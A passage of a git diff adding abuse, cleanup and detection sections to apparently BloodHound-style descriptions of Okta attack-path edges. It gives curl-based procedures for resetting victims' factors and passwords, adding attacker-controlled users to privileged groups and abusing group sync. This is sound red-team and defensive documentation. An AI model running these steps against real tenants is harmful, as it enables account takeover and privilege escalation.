env.TEMP_SECRET_ID)' + + curl -i -sS -X POST \ + -u "$API_SERVICE_ID:$API_SERVICE_CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + "$OKTA_ORG/oauth2/v1/token" + ``` + + The token request should fail with an OAuth error such as `invalid_client`. + +5. If a temporary client role assignment was created for the integration, remove it. + + ```bash + export ROLE_ASSIGNMENT_ID="JBC..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$API_SERVICE_ID/roles/$ROLE_ASSIGNMENT_ID" + ``` + +## Opsec Considerations + +Creator metadata points defenders toward the human and systems likely to hold integration credentials. Abuse may create Okta events for API service integration secret creation, activation, deactivation, deletion, OAuth token grants, client role assignment changes, and Okta Management API calls under the destination integration. Endpoint, EDR, DLP, source-control, CI/CD, and secret-scanning logs may show credential hunting against the creator's systems before Okta token use begins. + +New API service integration token use from a network, user agent, or schedule that differs from the integration's normal automation is a strong signal, especially when it follows a newly created secret. + +## References + +- [Okta API Service Integrations API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApiServiceIntegrations/) +- [Okta API service integration secret rotation](https://help.okta.com/oie/en-us/content/topics/apiservice/api-service-integration-rotate-client-secret.htm) +- [Okta API service integrations in the OIN](https://developer.okta.com/docs/guides/oin-api-service-overview/) +- [Okta client credentials flow for API service integrations](https://developer.okta.com/docs/guides/build-api-integration/main/) +- [Okta Client Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentClient/) +- [Okta revoke tokens](https://developer.okta.com/docs/guides/revoke-tokens/main/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) +- [Okta Post-Exploitation Toolkit](https://github.com/xpn/OktaPostExToolkit) diff --git a/descriptions/edges/Okta_DeviceOf.md b/descriptions/edges/Okta_DeviceOf.md index dc69cec..43f2f23 100644 --- a/descriptions/edges/Okta_DeviceOf.md +++ b/descriptions/edges/Okta_DeviceOf.md @@ -12,3 +12,174 @@ graph LR d1 -. Okta_DeviceOf .-> u2 d2 -. Okta_DeviceOf .-> u2 ``` + +## Abuse Info + +`Okta_DeviceOf` is a device-to-user association. It is not a complete takeover path by itself, but it can satisfy possession, device assurance, Okta Verify FastPass, remembered-device, or browser-session requirements for the destination user. An attacker who controls the source device usually still needs the destination user's password, an active session, a recoverable authenticator, or a separate reset path. + +To abuse this edge: + +1. Gain physical access, remote control, endpoint malware execution, or MDM-level control over the source device. +2. Identify whether the device has the destination user's Okta Verify enrollment, FastPass, device assurance posture, browser sessions, device-bound certificates, cached app sessions, or refresh tokens. +3. Obtain or create a primary authentication path for the destination user through phishing, password reset, password sync abuse, browser token theft, credential dumping, or another BloodHound path. +4. Start the Okta sign-in from the controlled source device, or reuse an existing browser/native app session on that device. +5. Satisfy the possession requirement with Okta Verify push/FastPass, a remembered device state, device assurance, or an existing session. +6. Access Okta or downstream applications as the destination user. + +If the device already has valid browser or native app sessions for the destination user, the attacker may be able to skip password entry for those apps until the sessions expire or are revoked. + +Using the Admin Console and endpoint access: + +1. From the source device, inspect local browser profiles, Okta Verify, native app sessions, and MDM/device trust state for the destination user. +2. In the Okta Admin Console, open **Directory** > **Devices** and locate the source device. +3. Review the users linked to the device and confirm the destination user appears. +4. Open the destination user and review authenticators, factors, and recent sign-in activity. +5. Use a separate primary-auth path, then complete sign-in from the source device to satisfy device-based controls. +6. Launch the target Okta app or downstream application and verify access. + +Using the Okta API: + +1. Set variables for the source device, destination user, and any authenticator/factor added during abuse. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export DEVICE_ID="guo..." + export TARGET_USER_ID="00u..." + export ATTACKER_FACTOR_ID="opf..." + ``` + +2. Retrieve the source device and linked users. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID" \ + | jq '{id, status, displayName: .profile.displayName, platform: .profile.platform, registered: .profile.registered, lastUpdated}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/users" \ + | jq -r '.[] | [.user.id, .user.realmId, .managementStatus, .screenLockType] | @tsv' + ``` + +3. Review the destination user's authenticators/factors and recent session state before using the device. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors" \ + | jq -r '.[] | [.id, .factorType, .provider, .status, .profile.name] | @tsv' + ``` + +4. If the source device is being used as the trusted possession for the destination user, authenticate from that device and complete the app launch or token request in the normal browser/native flow. Okta's Management API can verify the device/user link and clean up sessions, but it does not perform the end-user sign-in for you. + +5. Verify the device was involved in the destination user's authentication by reviewing the System Log for the destination user, source device, and relevant event types. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + --get "$OKTA_ORG/api/v1/logs" \ + --data-urlencode "filter=actor.id eq \"$TARGET_USER_ID\"" \ + --data-urlencode "limit=20" \ + | jq -r '.[] | [.published, .eventType, .client.userAgent.rawUserAgent, .client.ipAddress] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_DeviceOf` removes the device-based access artifacts used for the destination user, revokes sessions and remembered-device state, removes attacker-added factors, and deactivates or deletes the source device record only if the device should no longer be trusted. + +Cleanup using Admin Console: + +1. Sign the destination user out of Okta and downstream applications on the source device. +2. Open the destination user and remove any attacker-added authenticator or factor. +3. Open **Directory** > **Devices**, select the source device, and review the linked users. +4. Suspend, deactivate, or delete the source device if it is compromised and should no longer satisfy device assurance. Deactivation removes device-user links and is destructive for device factors and client certificates. +5. Remove temporary MDM profiles, device trust certificates, browser profiles, refresh tokens, and local session artifacts from the source device. +6. Verify the destination user has only expected trusted devices, authenticators, and active sessions. + +Cleanup using API: + +1. Remove an attacker-controlled factor from the destination user if one was enrolled during abuse. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors/$ATTACKER_FACTOR_ID" + ``` + + A successful deletion returns `204 No Content`. + +2. Revoke the destination user's Okta sessions, OAuth tokens, and remembered-device state. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + + A successful request returns `204 No Content`. + +3. If the source device is compromised, suspend or deactivate it. Suspension is temporary; deactivation removes device-user links and prepares the device for deletion. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/lifecycle/suspend" + + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/lifecycle/deactivate" + ``` + +4. Delete the device record only after deactivation and only when re-enrollment is acceptable. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID" + ``` + + A successful deletion returns `204 No Content`. + +5. Verify the destination user no longer has the attacker factor and the device no longer links to the user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors" \ + | jq -r '.[] | select(.id == env.ATTACKER_FACTOR_ID)' + + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/users" + ``` + + If the device was deleted, device verification should return `404 Not Found`. If it was only deactivated, the users list should no longer include the destination user. + +## Opsec Considerations + +Device-based abuse leaves endpoint, MDM, Okta Verify, device assurance, and Okta System Log traces. Relevant Okta events include `device.user.add`, `device.user.remove`, device lifecycle events, `credential.register`, `credential.revoke`, `user.authentication.auth_via_mfa`, sign-on policy evaluation events, and session or token revocation events. + +A trusted device used from a new network, remote access tool, unusual browser profile, or abnormal user agent is suspicious. Defenders should correlate the source device ID, destination user, authenticator method, IP, user agent, and any password/factor reset path that preceded the device-based sign-in. + +## References + +- [Okta Devices API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Device/) +- [Okta device documentation](https://help.okta.com/en-us/content/topics/devices/devices-main-landing.htm) +- [Okta User Factors API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/SystemLog/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Okta Terrify](https://github.com/CCob/okta-terrify) diff --git a/descriptions/edges/Okta_GroupAdmin.md b/descriptions/edges/Okta_GroupAdmin.md index 29bc892..6d5e2d6 100644 --- a/descriptions/edges/Okta_GroupAdmin.md +++ b/descriptions/edges/Okta_GroupAdmin.md @@ -13,3 +13,145 @@ graph LR ``` Target group memberships are flattened when the assignment is evaluated. + +## Abuse Info + +An attacker who controls the source principal can manage users and groups in the destination scope through the built-in Group Administrator (`USER_ADMIN`) role. When the destination is a user, this can usually be abused to take over or disrupt that user through password, authenticator, lifecycle, or profile actions. When the destination is a group, this can be abused by adding an attacker-controlled user to the group and inheriting any group-based app assignments, downstream provisioning, policy targeting, or SaaS roles. + +For a user source, sign in to Okta as that user. For a group source, compromise any member of the source group. For an application source, authenticate as the service app or client and use its management API access. + +Using the Admin Console against a destination user: + +1. Authenticate as the source user, as a member of the source group, or as the source service application. +2. Open **Directory** > **People** and select the destination user. +3. Reset the user's password or recovery flow where permitted. +4. Reset the user's authenticators if MFA would block sign-in. +5. Sign in as the destination user with the reset credential and enroll attacker-controlled authenticators when prompted. + +Using the Admin Console against a destination group: + +1. Open **Directory** > **Groups** and select the destination group. +2. Add an attacker-controlled Okta user to the group. +3. Refresh the attacker's Okta session or start a new SSO flow. +4. Launch applications or access downstream systems granted through the group. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, and the relevant destination IDs. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_USER_ID="00u..." + export TARGET_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. For a destination user, reset all factors and start a password reset or temporary-password flow. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_factors" + + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=false&revokeSessions=true" + ``` + +3. For a destination group, confirm the group is Okta-managed and add the controlled user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID" \ + | jq '{id, type, name: .profile.name}' + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Verify user takeover by completing sign-in as the destination user, or verify group abuse by listing members. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login] | @tsv' + ``` + +5. If the destination group is imported from a source directory or application, direct membership changes may need to be made in that source system instead of the Okta Groups API. + +## Cleanup after Abuse + +Cleanup reverses user or group changes made through Group Administrator privileges, including password and authenticator resets, profile edits, lifecycle changes, and temporary destination group membership. + +Cleanup using Admin Console: + +1. For user takeover, open **Directory** > **People**, select the destination user, remove attacker-enrolled authenticators, and start a legitimate password reset. +2. Restore any lifecycle or profile changes made to the user. +3. For group abuse, open **Directory** > **Groups**, select the destination group, and remove the attacker-controlled user. +4. Re-add legitimate users or restore group profile values if they were changed. +5. Clear sessions for any user whose credentials or authenticators were modified. + +Cleanup using API: + +1. Remove temporary group membership. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Restore removed group members. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$LEGITIMATE_USER_ID" + ``` + +3. Remove attacker-controlled factors from any user taken over through the edge. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors/$FACTOR_ID" + ``` + +4. Force a legitimate reset and revoke sessions for users whose password or authenticators were changed. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=true&revokeSessions=true" + ``` + +5. Confirm the controlled user is no longer in the destination group and the destination user has only legitimate factors. + +## Opsec Considerations + +Password resets, authenticator resets, group membership changes, user lifecycle actions, and user or group profile changes are recorded in the Okta System Log. Relevant event types include `user.account.reset_password`, `user.account.expire_password`, `user.mfa.factor.reset_all`, `user.mfa.factor.activate`, `group.user_membership.add`, `group.user_membership.remove`, `user.lifecycle.activate`, `user.lifecycle.suspend`, and `group.profile.update`. + +A Group Administrator acting outside their normal help desk or business-unit scope is often visible in audit review. Membership changes to groups with app assignments, group push mappings, or sign-on policy impact are especially high-signal. + +## References + +- [Okta Group administrators](https://help.okta.com/en-us/Content/Topics/Security/administrators-group-admin.htm) +- [Okta Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta User Credentials API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserCred/) +- [Okta User Lifecycle API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserLifecycle/) +- [Okta User Factors API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Eli Guy: Attack Techniques in Okta - Part 2 - Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_GroupMembershipAdmin.md b/descriptions/edges/Okta_GroupMembershipAdmin.md index 6586dc7..7b095c4 100644 --- a/descriptions/edges/Okta_GroupMembershipAdmin.md +++ b/descriptions/edges/Okta_GroupMembershipAdmin.md @@ -10,3 +10,117 @@ graph LR u1 -- Okta_GroupMembershipAdmin --> g1 u1 -- Okta_GroupMembershipAdmin --> g2 ``` + +## Abuse Info + +An attacker who controls the source principal can add or remove users in the destination group through the built-in Group Membership Administrator role. This can grant access to applications, provisioning targets, downstream SaaS roles, sign-on policies, or MFA policies that depend on the group. This role does not grant full group administration; the abuse is membership-focused. + +For a user source, sign in as that user. For a group source, compromise any member of the source group. For an application source, authenticate as the service app or client and use its management API access. + +Using the Admin Console: + +1. Authenticate to Okta as the source user, as a member of the source group, or as the source service application. +2. Open **Directory** > **Groups** and select the destination group. +3. Add an attacker-controlled Okta user to the group. +4. Re-authenticate as the added user or refresh that user's sessions and OAuth/OIDC tokens. +5. Launch any newly assigned applications or wait for group push and provisioning to update downstream systems. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, the destination group ID, and the controlled user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. Confirm the destination group is an Okta-managed group. The Groups API can directly modify membership for `OKTA_GROUP` groups; imported `APP_GROUP` membership is managed by the source application or directory. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID" \ + | jq '{id, type, name: .profile.name}' + ``` + +3. Add the controlled user to the destination group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Verify the membership and refresh the controlled user's sessions or tokens. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login] | @tsv' + ``` + +5. If the group is pushed or synced downstream, wait for provisioning or trigger the relevant downstream sync before using the entitlement. + +## Cleanup after Abuse + +Cleanup removes temporary users added to the managed destination group, restores any removed legitimate members, and lets downstream provisioning revoke access granted by the changed membership. + +Cleanup using Admin Console: + +1. Open **Directory** > **Groups** and select the destination group. +2. Remove the attacker-controlled user from the members list. +3. Restore any legitimate members that were removed. +4. If the group is pushed or synced downstream, run the relevant provisioning job or wait for the next cycle. +5. Verify the external application group or role returned to its original membership. + +Cleanup using API: + +1. Remove the temporary user from the Okta-managed destination group. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Re-add legitimate users if they were removed. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$LEGITIMATE_USER_ID" + ``` + +3. Query the group and confirm only expected users remain. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | [.id, .profile.login] | @tsv' + ``` + +4. Wait for downstream group push, SCIM, or application provisioning to revoke the temporary access. + +## Opsec Considerations + +Adding or removing group members creates Okta System Log events such as `group.user_membership.add` and `group.user_membership.remove`. If the group drives app assignments or provisioning, related downstream events can include `application.user_membership.add`, `application.user_membership.remove`, `application.provision.user.sync`, and `application.provision.group_membership.update`. + +Membership changes to privileged application groups, groups pushed to SaaS applications, and groups used by sign-on or MFA policy rules are common alert targets. The API path records caller, source IP, request URI, target group, and target user. + +## References + +- [Okta Group membership administrators](https://help.okta.com/en-us/content/topics/security/administrators-group-membership-admin.htm) +- [Okta Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) +- [Eli Guy: Attack Techniques in Okta - Part 2 - Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_GroupPull.md b/descriptions/edges/Okta_GroupPull.md index ca6193a..dabcc98 100644 --- a/descriptions/edges/Okta_GroupPull.md +++ b/descriptions/edges/Okta_GroupPull.md @@ -1,10 +1,155 @@ ## General Information -The traversable Okta_GroupPull edges represent the group synchronization relationships from applications to Okta: +The traversable Okta_GroupPull edges represent group synchronization relationships from applications or external directories into Okta: ```mermaid graph LR + app1("Okta_Application Workday") g1("Okta_Group HR") - app1("Okta_Application contoso.com") app1 -- Okta_GroupPull --> g1 ``` + +## Abuse Info + +An attacker who controls the source application or external directory can influence the destination Okta group during import. If the destination group receives Okta application assignments, policy targeting, downstream group push, or admin role assignments, controlling the source can become an Okta privilege escalation path. + +This edge is directly useful when the source application is authoritative for the destination group, group membership, or group attributes. The attacker changes the source-side group, then lets Okta import that state into the destination group. + +Using the Admin Console: + +1. Gain administrative control of the source application, external directory, or import connector. +2. Identify the source-side group that maps to the destination Okta group. +3. Add an attacker-controlled source user to the source-side group, or change group attributes that are mapped into Okta. +4. In Okta, open **Applications** > **Applications** and select the source application. +5. Run an import if the connector supports manual imports, or wait for the scheduled import. +6. Review and confirm staged import results if Okta requires approval before applying changes. +7. Confirm the destination Okta group now contains the linked attacker-controlled Okta user or has the desired imported attributes. +8. Start a new Okta session as the affected user and use any assignments, policies, downstream group-push paths, or role assignments granted by the destination group. + +Using source and Okta APIs: + +1. Set variables for the Okta org, destination group, source application, source group, and attacker-controlled source user. The source API endpoint is connector-specific. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_API_BASE="https://source.example.com/api" + export SOURCE_API_TOKEN="REDACTED_SOURCE_TOKEN" + export SOURCE_APP_ID="0oa..." + export SOURCE_GROUP_ID="src-group..." + export SOURCE_USER_ID="src-user..." + export TARGET_GROUP_ID="00g..." + export CONTROLLED_OKTA_USER_ID="00u..." + ``` + +2. Change the source-side group membership. Replace the endpoint and body with the source application's official group-membership API. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: Bearer $SOURCE_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"userId\":\"$SOURCE_USER_ID\"}" \ + "$SOURCE_API_BASE/groups/$SOURCE_GROUP_ID/members" + ``` + +3. Verify the destination group in Okta before import so you can distinguish the old state from the imported state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | [.id, .profile.login, .status] | @tsv' + ``` + +4. Trigger import from the Admin Console if the connector does not expose a documented Management API import trigger. Some integrations expose connector-specific import APIs, but the Okta Management API does not provide one universal import endpoint for every application type. + +5. Verify that the destination Okta group contains the linked controlled user after import. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +6. Enumerate the destination group's app assignments to understand what the imported membership grants. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/apps?limit=200" \ + | jq -r '.[] | [.id, .label, .name, .status] | @tsv' + ``` + +If the destination group is an imported `APP_GROUP`, direct Okta group-membership writes may fail or be overwritten. In that case, modify the authoritative source and let import apply the change. + +## Cleanup after Abuse + +Cleanup for `Okta_GroupPull` means restoring the source application's group state, re-importing it into Okta, and removing any leftover Okta group membership or app access that the import does not revert automatically. + +Cleanup using Admin Console: + +1. Restore the source-side group membership and group attributes in the external application or directory. +2. In Okta, open the source application and run an import if the integration supports manual imports. +3. Review staged import results and apply the cleanup changes. +4. Open **Directory** > **Groups** and select the destination Okta group. +5. Verify the attacker-controlled user and any temporary attributes are gone. +6. Revoke sessions for affected Okta users if group claims or assignments were used. + +Cleanup using API: + +1. Remove the attacker-controlled user from the source-side group. Replace the endpoint with the source application's official API. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: Bearer $SOURCE_API_TOKEN" \ + -H "Accept: application/json" \ + "$SOURCE_API_BASE/groups/$SOURCE_GROUP_ID/members/$SOURCE_USER_ID" + ``` + +2. After import runs, verify the destination Okta group no longer contains the controlled Okta user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID)' + ``` + +3. If the integration leaves a stale Okta-managed membership behind, remove it directly. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_OKTA_USER_ID" + ``` + +4. Revoke sessions and OAuth tokens for the affected Okta user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +Abuse creates telemetry in both systems: source-side group membership changes, Okta import activity, Okta group membership changes, and downstream application access from the imported user. Importing a privileged group outside the normal schedule or with unusual membership churn is a strong detection point. + +If the import workflow stages changes for approval, the staged diff may expose the attacker-controlled source user, changed attributes, and affected destination group before the change becomes active. + +## References + +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta Profile Mappings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ProfileMapping/) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_GroupPush.md b/descriptions/edges/Okta_GroupPush.md index e5b283b..4be6e8d 100644 --- a/descriptions/edges/Okta_GroupPush.md +++ b/descriptions/edges/Okta_GroupPush.md @@ -1,10 +1,165 @@ ## General Information -The non-traversable Okta_GroupPush edges represent the group push assignments to applications. This indicates group provisioning and membership synchronization from Okta to external applications. +The non-traversable Okta_GroupPush edges represent group push mappings on Okta applications. The collector emits these edges from the Okta application that owns the group-push mapping to the target group represented by that mapping. ```mermaid graph LR - g1("Okta_Group Engineering") - app1("Okta_Application contoso.com") - g1 -. Okta_GroupPush .-> app1 + app1("Okta_Application GitHub Enterprise Cloud") + g1("Okta_Group Engineering in target app") + app1 -. Okta_GroupPush .-> g1 ``` + +## Abuse Info + +This edge describes provisioning from an Okta application into a target group in an external application. It is not a standalone credential, but an attacker who controls the source application or its provisioning configuration can influence the destination group by creating, changing, activating, or abusing a group-push mapping. + +In practice, abuse usually requires two pieces: control over the app or group-push configuration, and control over the Okta source group whose membership is pushed. If the mapping already exists, adding an attacker-controlled user to the mapped source group can cause Okta to add the linked downstream account to the destination group. If the attacker has app administration privileges, they may also link a controlled source group to a privileged downstream target group. + +Using the Admin Console: + +1. Authenticate as a principal that can manage the source application, such as one reached through `Okta_AppAdmin`, `Okta_ManageApp`, `Okta_OrgAdmin`, or `Okta_SuperAdmin`. +2. Open **Applications** > **Applications** and select the source application. +3. Open the app's group push or provisioning group-mapping view. +4. Identify the mapping that corresponds to the destination group from the edge, or create/link a mapping from an attacker-controlled Okta source group to a target group in the downstream application. +5. Activate the mapping if it is inactive. +6. Add the attacker-controlled Okta user to the mapped Okta source group. +7. Trigger group push where the integration supports it, or wait for the provisioning cycle. +8. Sign in to the downstream application and verify the attacker-controlled account now has the destination group, role, or permission. + +Using the Okta API: + +1. Set the Okta org URL, API credential, source application ID, group-push mapping ID, mapped Okta source group ID, and attacker-controlled user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_APP_ID="0oa..." + export GROUP_PUSH_MAPPING_ID="gpm..." + export OKTA_SOURCE_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. List the application's group-push mappings and identify the mapping that points to the destination group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/group-push/mappings" \ + | jq -r '.[] | [.id, .status, .sourceGroupId, .targetGroupId, .targetGroupName] | @tsv' + ``` + +3. Retrieve the specific mapping before changing membership. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/group-push/mappings/$GROUP_PUSH_MAPPING_ID" \ + | jq '{id, status, sourceGroupId, targetGroupId, targetGroupName}' + ``` + +4. Activate the group-push mapping if it is inactive. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/group-push/mappings/$GROUP_PUSH_MAPPING_ID/lifecycle/activate" + ``` + +5. Add the attacker-controlled user to the Okta source group that feeds the mapping. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H 